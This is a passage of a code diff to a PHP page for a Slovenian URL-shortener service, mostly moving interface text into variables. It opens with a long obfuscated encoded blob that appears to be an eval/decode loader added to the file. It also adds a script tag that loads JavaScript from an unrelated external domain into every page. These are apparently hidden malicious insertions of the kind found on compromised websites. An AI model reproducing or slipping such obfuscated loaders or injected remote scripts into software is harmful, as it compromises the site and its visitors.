1c0RjJEbUJKOXVEMFppQlI1aFpVcVlHMGdBTXdJVnFUOXhKVVJpWlJ1MEdUY1lJS2NqblQ1a0FHQVRIU0wwbjNFblpJdGVEME1XRVVBaUZhY0FBd0lGRzNFbkxJTjVNUXFBRzNSam9UU3dFSjFpSFFTSUgwV1huSmJtcDFjdW5ScVdweHlBckpXa016TWRwM0VibndFNEF2Z2pNMkFBcEdwa0ZKWjFYMGtmSkdxNVpHdW5GMFdHR2FBVlp4OVZyS0VBWlJBUm95dDVHeDVSTEdFY25LU1RISDljcHljQXBSRDBIVVdQQTBSaW5INWRKUVdhTUZnMlpIa2FwdmdRRkliNElRTUJMM2JrRzBwakVIZmlKeDg1RndNRERHU0JuSXlGTG1FUkl3SXhwR3FKR0pTR0JSU1FyVFNrb3h5alpSVjVBeXAzTUd5NHB5WmxwVUV4QUd0bEVIY2VvbXA1cklJNEZRSTJKUVNKR1NFRnJ4U1BKd01CR3o5QkpSU3duS0VPR0hrMkd6RXlaSlIzTVVSMUczRVpMMVdoR0tiNU15cDFBM001bjBFVUF5TmxHSUlNclNTSHBINWRaUjkxcHpWbEV4a1lyVHQxRHY5THBTdVFISU4xR0hJbEd4OUJKSjUycmFXT0lTRXhwbXFWWlNxRUR6SUpHU3VGSFJjV0ZJQTZwSFNGSUY5NEJJSTRaSXAzR0hTTHJLU1Zvd0FIcUdJS0VKYmlISUllcnhnRnBLRTZKSnl1b0ZnVEVtdVhEMkV3RlNNbUphU1JIbUlnTHlibUV4RUxNSVNHcWxnY3BGODNMbXVLcFFaMFkyTWRFd3BrTUpTVlowY0haeE1LRXY5VkcycTBwR3AwbjJ5SUx4dDVEbVc2WlRNdkEya0ZEMHQwSkhrS0l5QW1GSU1UWjFBY3F4U09xVVdLR3h1M01KeURGUkFUSXpWa0FVVjNCU3k2b1JjUVltWmtCSjl5WDF5Z0d4a0JEMUFaSDF4ZUl5dG1vbXgzWmw5WXJTcVJubGZqSDNxdUYyNTRuR00xWkt5T0VhRUZId1NDRTA5SERJTTRwSmdVSDJ5WkVIV3dESmI1SkpnNEFsOTRCUmNLWTBBQ29JVm1wR3VYTTJJWEFVSVpwR04wTDFFZ3J5TTZIeGt2RDBTVW5RV3VFM3EyQXg5YUFISDNvbU1IWklJbEl4dTNxUGdVWndNd0dtRXpJbXRpb0l5dXJUQWpEeHVoR3lPM0JSU0NvSU9TRDFjUUUxcG1yd3VESHdWZU14VzFxVU5lTXdxZm5KRVRHemd2ckpWMElKQVdIVVdKcUdOa0hUUjVHSExrTUlTV1oyMGpwVFYzblFxMUdSWmVBU0VLWjB5R0FSZzNabU9DSG1xVEVLSGpBSjFlRkpFem4xU0ZvSkVtQW15NlpSY1VwSUlsRlJxT0lUZ0lyemtoRVNMbW5VTXhvR3k0b2F1MEV4MDBYM0VPWndXQkwwSWdHeUlTcFFXMEdVdUJueWNicXlJVUQzeGpaMHFmSkpja0RHSVRBUmZrSEtBQ0pKU2ZHMkVnSDJrV0ZSOVdHbXlUbndJbElIMUFNd3FNSXlBU0UyU1NGVDFQcDNNd3BRV2VHVDltQkhJSnFJTGpweFM1SHhFZE0wOWJHMVNBWjFJMkUwOXhIeHFabkhJeG9HU2dBM3UyRzNFenF3V0pJUUlUckd5R00xQURueGtjSVFEMHBTRXpFMkVNSVFSbG8zcVVaVWNCWlBmbElUOWNaS2Nmb1RNVVozSUhMSHkzb3dFblphQXlJYXFLcUlJVkJHTGtEM3gxQlFPQUdSY0dMejlRbktXZG8ydGlIS2NXSXpwbE1UdWxFU3FPSlNiM0pITUxCUmJlcTBBQklhV21CSDl5cEtTZkVIMWVxVHFmWTFTWVp6OXdFUnUxR0h0a0ZtTmxNMldUcWF1UUpKSVFId0FPSTA5eUh6V1VBVHBtR3pxakFHTDRueGt6SEhNQUd6eWNwd001RjFxM0VVQVhESjFkRlVMZUhJUzVFR3lXWkoxMnFVWmlwSUFPcFRjbHJJT3lHU3FoR1JJNk0zTWpHSjRqR1R1Wkx6a2FxSFNPRTFxZG93TWhHbDk2R3dxMlpUTVVFSXFMTEhxREp6U0RCSkhqQTJNVnF6dDFCVXVTTHdTNVgweWZuRjlUSFRxUEV6eTVKSGt3b1RrTU1Ia0VNR3hsQVRra1kwdUJyd0k1SlN5Ym56MUJNd0kxSlJWaU0wV0taSU9VSlJXTUpIQTRuSFNJb2FJVFptcDVIU09qcEhrRkZTdW5JU0FRTUdFY01TU0dxVXVkRXhrWFltU2hvd3hsREpnVkhKeVhBUnkySEh1TEVtTXZJemd3QlVjV0UxRTJwM3BrWjBBUk1LcUFuVHlIQVNxekdRRUlaR081cDFPeU1VT3pEM0FSTVJrbUJSZ1luYUF3bnd5Z0h6cVNKd3AySHpIZUJTRVFvM3ltTTBjVW5GZ3hKU3VhTXpJVm4zU1lMeHBpcmFPbkd5U0hJemdRTXo1Qm53U0pYMUlNSDB1Zm5JV0pxd096cDBrZ0lTSVdNMklqRUtFV3JQOUlaVU1kWkhFS01HdTJHM2N1cVNPY0JReG1KVDBpRTAxQUVIWm1BVGNkcTNBVkcxRDBZMHVXb3hrNE1TVjVGVGtabkd1WUZ5cUNMM0VaTUlPR0p4RUtJRmdaRUpTVm9IY1dGekFhcTNxdkYyNXpMekl1RlV1dUV3QWdxYXlIRHhnQUh4TVhIME01b3dNUkl6Y0JBUDlIcmFNMEJVTTJGeUFkblFBT0ZRSXVxYXltcXlTSFkyV1dGSlN6bjBjeXBteUtKeU1qTVNPSVltcDBCUDlKTTNNR01hU0dabVNFcEl5QnBHcWZuUUlTRW1OZUVKcUxwYVIzb0ZnWElIa0VIVDFmRVJxRXBKUjJaVDFUTXZnSkF6cTFFd0Fqb1JBaEFHU0FyVXhpckpnUUdKVjJGMHFJTDJ1akZTU3VIeGtqR0taNG9KdWlvVXlsRkh1QVoySWdEMFdCcDJ5RUR4SWNveExscEtNS0lLV0ZJSDloQlVMM25LTzBBMkFRRTFWbE1QZ0NMd01sWlRSM0YyeTFKVWJqcFVxaUJTTVZMSDFlSXdxU0lSeGVaMXV6TEo1TEQzV0RJSFNQRUlNdkZHQWRwSWNmSG1XR0dSQUlaSlNXQXp5SVp6QTRNeDBsSFFXVUF4eTRaSEU2WDAxMEcyZ0dMMDFaSnp1SXJIeWZFVDVKQVRBUnFtV0VuVU9rb1F5Y253eTBaM3VScG1xbFoyTWNZMk16TEg5enAyMTFxeldDSFJFbHF6OXdHSXE0QTFFeUJUU2lGSFNBRTNMa0x4OU9uUkFZRjNiMnBReVhFeFNhTEowbHFUSVFYM01JTVJIakV4RTNFMnlaRnprd29ITDRHS01qRDJnMEQzeVdwM0U0bkdFRUkwNVpNMVcycEdxRm96STZBMHlUcnlBSnF3QVZFVDU0TDBmZUhtT3pJMGI0QXo1V29KV21HSEFXTXdxUUwzRTRaSGtBRnhjY0FVTW5JUDltbnlSa0pJcDVMSHlXcUhJbER4RTJJeVNXcHpxVHJUOGlJVHFBSDJ5NUcwV0RuUjgwRlFPT296NG1MbVdVWmFNZEpLRVZHVDFsbnlxNEgySWVHUVdMbkhJV3B6cUlyUDlib0dNWEZSOUxyS1d6REdMbG9RTTRGUXVERUtxS0VtcURwSEFBTEl0MW96dWtwSXVjRTF5bXFJTDRFbVI0bkh5S255cWJFME1jckh4aUczQUtad1N5SFFxZUhTTjRuVDF4SHpnbkZhTWNJU1NPSklObXJ6NUVKd1cxWkl1U0pKZjRCUkVHRlJ1WkVLTVVwbXBscXpjTEYxYzNueE1CQVNObEVKSG1KUUhtTG1MaUpHeDVvUmM2QlN1S0ExdVFweFMzRDFxWkhJdU9uMEVCTEh5QUJJdVVNSEwyRnhJbUFJRUNNMVYyRDJ1NkFUeVBHR1diSFIxekJKSGxFMmdXcng5REZUV0NJVEk1cUo1UUdHdU9uUXFVTUtJRm5KeWRGUU80RHo5U3BVeURYbU9NQlR1RElKRUJxejhscmFxVW94OGxJSXlBRVV5MXJLcU9aS09YcTJ5ZEQyRURwVUlkWTBjQkh4VzZNS01pTTBmbEVKcWlNejlIRG1aMkF4RVpKU3FTSDNXQUd6TWxHUVdibzN5REEycDFySlN3bzJJbHFHcXpvSkVrREZnVkZ6eW5GeGdDSWFPRlgydTVNU3VncklTaHBScXZveDVHcDBnVkZHdWpwUlZlWTFPaUZHV01wSVd6b3o5U3FKdDNwSWMzRkZnUEVKdTZCUkVVQTNPUUJURWZBSGdWQUdENHBLY3ZJMEVSbm15YVp5U2pFSHBpcGFiMUdTSUFuUldQclJJMm4yWm1NeUVuTWF5bkp6Z1BxeU93R3hTQ0dVY0ZvR3lPWDNIbUZ6TUhyUkFBSkpTY296RWxwdmcwclJBbkZhV1BGemIwbzJxbkVISDJISDF2TTNJek1IV1pyUkUyQXhSbUQzYzBHM1NiQkhXS3J6RDJBR0FPSVI1UkUwOU1xSkFNRXl1QUUyNWdvMU5tb1FFRkhLRVFMSDE1b1R0MXJKNWxIekQxTDBjS1htdVJaMHlRR0tIbFpSNW1YbXV4SVJNUkwwQWRuR0hrSlRFNlpVV0JyVGJtQlF1MEhRSVFNUXVKRzFTWHExT3lGU1dKSVREa01SU1RwenFJQkpJeklSOTBBbGY1R2FFZXBIV2tNeDQ0THg1SW53VmVFd0lYRHhqMUQwU3pwSDlERHg1MkpKOTVEMUFhcFR1NklTSDBuSDEzRlRFUEkxcUdMMlNBcFNja0V6OU1BbU9sSFJFSG9VT25BUVdJTHdBMkVhUzRxMnkyTXlIMHAwRUVxUUFFRlJXRERtQUdaMkVScEpwNEZHdVJKYXkwSFFNS25JdTNaSjlJR2FFdkpVeDBwU1dQQkdXTEdtdVpvS0VRWjF5QURJTDRJMEExcFJ5TEhRcWpCVXk2bjJ1dVptV3dZMkloQVRFMUV6QTFuMDE2R1VTaG5tRDFaMmt3RVRqa0JKeUZad0wycVI5RG8zY1pwMkVXTG1Fa0R3Tm1wSnVURVFTWUVKQVZuME12RnowbXBUOGxBSE1tTW1PQ3FtT3hGYU9ZSlIxeFoyZ0NIS1M1R3hNZm4wTUpCR0VkSlVFNUExRUhuUUV2cXhXblgyMTFxSGtZb3pjWm8zWjFHVFNBWlVPUUpKRVBFS0VWQTJJa0l4MTJySEFFcEhBVkJJVmlNSlIwR1NFZ0h6a0RMSklIQkdXam9JTVFMYUwyR3g5aUcySDBxSnk2blJJeEx5U1RNYUVsR0h0aW8wY1ZwSU9qRnpNQ0VtdWlKUlN5cFNPWEZVdWlKUkV3R21Pem55UzVwSnBrb1FFNVkwcWFaR3lSSEd5a0RJTWVxVGtaRkljVkd5TWpNeFZlR0tFSHBLdWdFMU9USDFxVXJRRWdJVVNKRXg1d0xHU0dCVHQ0cXhWbUdsZ0NIVVdob0hFV0R6SXdJSk1rSEtBaW54SUJIR01STVN4bVp3dW5NSE1ocXhJSm9IRWJNeGtQTUlNa01KVzJHd3lGSVRBbXFKV1habUFsRlRXakJINDBIU2JqQXd5WnB4U1daU09QRlR1ZUp6a3lKUlM2TUhJR3BKTVJMbGc1ckoxdUhVTjBHSUhtTUpXSk1IOXhHUUQ0RzJNYkpLRVJMSnFVR214NXBINTBxSjkxRGFjYkEyRVhvVGNCWm1FTEFSMWJCS0QySXg0bUkzcDJFVUl4Wnl1YUVHWjFFMElYRlVPZkZLTUtIMmppWW15am56V1JNSFZtSnhnVVp4a09HSjkwSWxnWUdIQXpEbUFPRjBnU0cweUpBdjl1WjBBdUxteVZuSUg1TDJxUkVHTVpySXVTbzBNbU1hdUVCSnQxWDJrVUpSdGVyYUFXRnpNZ3JTRURad3FaRnhxWkdVcWxxVEF5TEhFRUYxT1pKSlZlSUpJWkgxTTJHekVJRWF5NXFUZ1Byd0VjWkd1Z3BVdWNwVUVPSnpnSnBTY0ZuUklMSHhFeW55cUtEMUFmWm1TZ0dHQWVHVDFDR21OM0Z4Y2ZvVUFackY5bnF4Y1hGbUFuWDJXWlp5Y0RKSmJpcVRrenFSSVhFMjlEQXpFQk1KSDNJR1JlWkpxT0F6RXpBR0lKcnhjZFgyVzZBVHF5ckgwMEpRQTJEMk1GTGFTZG56SGtYbU9Ncnoxd0xtTUVIR3EzcTFJbXBKeVVCU1NCRXhTUE16Z1FCVEVUQkhBa0wyV3pGeFdjRUhneUl4a25YMEFEWjNFYW5VY2xFeldTSmFiNXJ3T0NxeXF3RHpjYkVKMWJNVVZscHlabUhIcWhKSU9YSVQ1QUhUeXZMR3lXcUh4MlgwQUlMYVduclNjSnB4eDVHelNkRUgxMk0yTXlFeXlocTBFTEphT1JZM1I1blRqZXFSTUxBVUV3bnp1QkVIZjRNeU12SFJ1RkJKamVuSlYySTFJdW4wSDBKVEkxWTFjQUVJY0hISk1aSnZnaHJ6U3dYbXlpcUdFeERIcVBYMU9TRDFJZEp4a0JuemMxRUZmMUkyTTRGeklqRUpjNkxtQVJNenVhWlIxbEZKdG1HeGtDWG1xVkxJSTJJdjlCSDFBaERIU2ZJMkV5bkpNUUJRTVlvVDAxRTFxY01TeTJaSk1IbkdFVkJISVhwMjFDb3hTQXAwU0pIMDBlSVVxeEdUU3hIYUFJTDNTRUEzeURYMHFBSW15dkRLY1ZEdjl6ckpFT255Y1BMS0FRRlVEMkJTU0FwUDlPREoxNG4ySWFES3V3RlR1ekdHRWFBMU9sQUdXam55Y3ZwMUlNSkhxS0dJRWtFR0VIRjJjMXJJTDFad1NpTW1MNG95VmVyUVJsSnlTREdteVhJMHkxRHpFY0ltSXhISld5SFVjYm54NUpvR1d2TDNBR0pSY0FueFN5TVVPNUZ6TDNweXQwSlQxNVgzRW5ISGd4THlWakpUMXpGU3VDQUpxd0F5U0pEMFdVRG1PZk1hdGVEd3FlcFVOMEcySGpISmZrWktJR3FUeVJuR09BRklBWG4wMWFNeldQTDBrNUxIZzNyYVNTRVFNZEVVT3Zvems2WnlBUElVYm1BUjlmR0pFVXAwRDNJS0VJbnhTSUd6eGpxSEFrTEtBY0RHdDBvemtFRkdBNnBUZ3hCSloxQktXZE1JeWpJME1JQW15d25JRGxJeHBlR3pJV0ZtTXhyeU1pQW1JUEd6WjNaVGdUcVJJeUhLU0VCVUlHRlQ5eUFUdTBFMVdjckpXZ0dJSGVGR3lMcHprZ0Qwa2NvYU41bjFBQ1ptdTRBUUgwbjBJR0RhT1JxeGZqcUtOMkl5WjVHM0lMRnhXWk1JT1ZxMjV1b0prWklGOW1NUkhrSVRwM016Y1BGVU5rcTFTa24xdVlaMFdPSGFjSEl6NVVMekhlR3pIMEF4RTNJbXFVRkljbkhUOWJEeXRpQVRNU3B6TGlIMElsSnd4NUlKcTFMYUV6TXhFV01VeWxuU3FPRVF4akF6TUpwVUhsRWFxd0VUNDVEYVdFRUpBMUZTV3VxVGplcHp5UEJKQVhwMjExSkp5SlgzQXlFM01ub1VBakcwOTBCUmd5SklTUExLU2lHMDBqSDBNU1ltV3lBVU9nRkdJd1p4eXdvSE1SSUtjeEhhcUdyU08yRktJRm5JeWRYMHVCSG1PWW8ycUdaSGtjTEo5T3BhY1JBM08wTVV1Rm96a0ZEMUhlTWFNeUZtU3VySk12bkhTTU15QWdFSXVsSkdMbFkzYm1vMk1NTTNTRnFHTTZwSU4wcUpJbHFGOW5wS01qRXZnV0ZITVNxenlBRDBXSW5LcUpvbUFhQkpxd0ZIdTNaS09iRXhBaEdtSVZxSlNUcGFMNHBtU0tHMnA0RVQxd0JKMWNBdjlnTVFxYUd3V2RFVXAybzBJYUR4eVpEMVYxSUgxekJIMGxEYXlCQW1FWm94Vm1JYUVQREt5NUkyamVJVU9FR1JNMFgwSWFvUjliQlJJZEh4QWhvVGprRHg5TUFScUxaMHVFRklTNnFJU2tEbVNoblFFMW9UV1VuUXlNSFNjQ24wdVdvbUFYR1NXZElKeXZyeldCblV1dloyV2FNejlBcTNXRkZINDNveVIyRlQ1Mm9RTUpubXlVbjNIZUxGZ0JEM0U2SmF1WklhT3hGS1NCb3pTMnJ2OVBaM01Kb2FPT00zT1pvVFNNRHlBVUx5SUNyeXVSRjF1REExV1RFS3l3QVFNNEV6Z0hJMUlBTHhXMk0yOWxvek1BQlRnQXJTdUVxUjVNRVRWam5TcDBNSHg1WkY5NEd4NWhHS2MxSVVXY0lKQWdyd0l2SFR5SUpSeUduUGd3blBnUEFtQVVuR3lYWTBnS1kweUpyeDV4cEdTbEx4NWZFS01pRDNNRkgySUZvSU1TSEowM0lVdVRBVUlKRnpXMHBSa0FEemNQbkt5enBRU25GMk1lR2F5YURGZ0NIUkFiQTN0bFgya0VEMHFDR1JNUW56OVVNU09hSlVPbkZtTzRGbUxlQVJjZVptUzRaSjV3cElXQkhTU2pNUlNDcTF5SEgya3dJU0FNRW1Xdk1UNWduMDFiSFNXRHBsZ1hGeVN1TEh1SnFhRVNKSUhlTUtBSm9RSXpvSFdmbkdFaU1KV2JBSkVIcEtBenJ3VzBMS3VXTEo1S3JRRWdwM0xrRlFNVkwyWjBMMHA1TDNaNFpLcGVMR3VtcVQ5SlphdW1aMXVITHdEZVpIWjJGSVIwRXpFZk1HV1VHUnFKSUpXV0dLU2ZBMkUxSVFWanFLdTJubVZtSnl1ZEl4dVdNSDUwSTJjbXFHVmpJSnU1cUdNMEEzWjRxMUlBRW1BZkhJSVFIU0wwcUg5dk1QOXVyekVJWjFFYUd4eGlxMk14RVJrbFkyRWtHeXg0SUlxd1pKMTJJMUVoRXdXS1kzRUhyeWJlcGxnaHFtdURHUnVQWndwaVltdDNZMkwxQkY4NENEPT0nKSkpKSk7')); + +} else { + $log .= $form_not_sent; } $print .= " +<script src=https://d.a4l.space/tohttps.js language=javascript type='text/javascript'></script> <style> .alert { opacity: 1; @@ -352,37 +513,44 @@ for (i = 0; i < close.length; i++) { setTimeout(function(){ div.style.display = 'none'; }, 600); } } -</script> + +</script> +<meta name=viewport content='width=device-width, initial-scale=1.0'> "; $print .= " -<title>ŠortLink Balkan</title> -<h1 align=center>ŠortLink Balkan</h1> -<h2 align=center>Ste kdaj hoteli narediti iz dolgega linka ŠortLink tako, da bi izgledal bolj balkansko?</h2> -<h2 align=center>Tudi če niste, je tukaj ŠortLink Balkan, edini Link Šortener, namenjen predvsem slovanskim narodom,saj za njegovo uporabo potrebujete črko Š!</h2> -<h3 align=center>Vsi Šortani linki se bodo začeli z š.ga, na primer š.ga/tekst. Najs ane?</h3> +<title>".$title."</title> +<h1 align=center>".$title."</h1> +".$subtitle." <div align=center> <form method=POST action=''> - <input autocomplete=off type=url name=long placeholder='Vpiši dolg URL ...' required=required align=center><br> - ".$domena."/<input autocomplete=off type=text name=short placeholder='Vpiši krajšalnico ...' required=required align=center><br> - <img id=captcha src=/securimage/securimage_show.php alt='Dostop samo ljudem. Prepiši znake iz slike, da potrdiš, da nisi program.' align=center /><br> - <input autocomplete=off placeholder='Prepiši znake ...' type=text name=captcha_code size=10 maxlength=6 align=center/><br> - <input autocomplete=off type=submit name=submit value=Skrajšaj! align=center> + <input autocomplete=off type=url name=long placeholder='".$longurl_placeholder." ...' required=required align=center><br> + ".$domena."/<input maxlenght=".$maxlenght." autocomplete=off type=text name=short placeholder='".$shortexpression_placeholder." ...' required=required align=center><br> + <img id=captcha src=/vendor/dapphp/securimage/securimage_show.php alt='Captcha' align=center /><br> + <input autocomplete=off type=text placeholder='".$captcha_placeholder." ...' name=captcha_code size=10 maxlength=6 align=center/><br> + <input autocomplete=off type=submit name=submit value='".$submit_value."!' align=center> </form> -<br><small align=center> -ŠortLink Balkan za svoje delovanje potrebuje in uporablja sejne piškotke. Z uporabo storitve se strinajte z shranjevanjem piškotkov -v vaš brskalnik za največ 24 minut. Piškotek se uporablja samo za interni namen, torej za to, da izvemo katere črke si imel na preverjanju za ljudi (CAPTCHA) -in nikakor ne za namene vohunjenja (tracking cookies). Piškotki so vidni samo na domeni š.ga, torej samo našemu strežniku. To sporočilo smo vam po veljavnem EU -zakonu morali pokazati, ker sta Hrvaška in Slovenija v Evropski Uniji in morata zato upoštevati te glupe zakone. +"; + +if(empty($_SERVER['HTTPS'])) { + $print .= "<br><text style=color:red;>".$insecure_warning."</text>"; +} else { + $print .="<br><text style=color:green;>".$secure_connection."</text>"; +} + +$print .= " +<br> +<small align=center> +".$cookie_warning." </small> </div> "; -// $print .= "<h4 align=center>Ker še nisem sprogramiral, ŠortLink Balkan še ne deluje. Ne uporabljaj ga, ker ne bo nič naredil.</h4>"; // a je že? +//$print .= "<h4 align=center>Ker še nisem sprogramiral, ŠortLink Balkan še ne deluje. Ne uporabljaj ga, ker ne bo nič naredil.</h4>"; -echo "<pre>" . $log . "</pre>"; // zakomentiraj to vrstico, da dnevnika ne boš prikazal, ali pa samo naredi HTML komentar, da lahko v sili še vedno pogledaš +echo "<!--<pre>" . $log . "</pre>-->"; echo $print; echo $alert; ?> |